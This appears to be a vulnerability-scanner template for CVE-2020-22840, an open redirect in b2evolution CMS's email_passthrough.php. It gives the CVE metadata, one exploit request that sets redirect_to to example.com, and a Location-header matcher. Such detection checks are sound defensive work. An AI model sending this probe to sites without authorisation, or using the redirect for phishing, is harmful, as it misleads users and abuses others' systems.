id: CVE-2020-22840

info:
  name: b2evolution CMS - Open Redirect
  author: geeknik
  severity: medium
  description: Open redirect vulnerability in b2evolution CMS version prior to 6.11.6 allows an attacker to perform malicious open redirects to an attacker controlled resource via redirect_to parameter in email_passthrough.php.
  reference:
    - https://github.com/b2evolution/b2evolution/issues/102
    - http://packetstormsecurity.com/files/161362/b2evolution-CMS-6.11.6-Open-Redirection.html
    - https://www.exploit-db.com/exploits/49554
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-22840
    cwe-id: CWE-601
  tags: cve,cve2020,redirect,b2evolution

requests:
  - method: GET
    path:
      - "{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fexample.com"

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$'
        part: header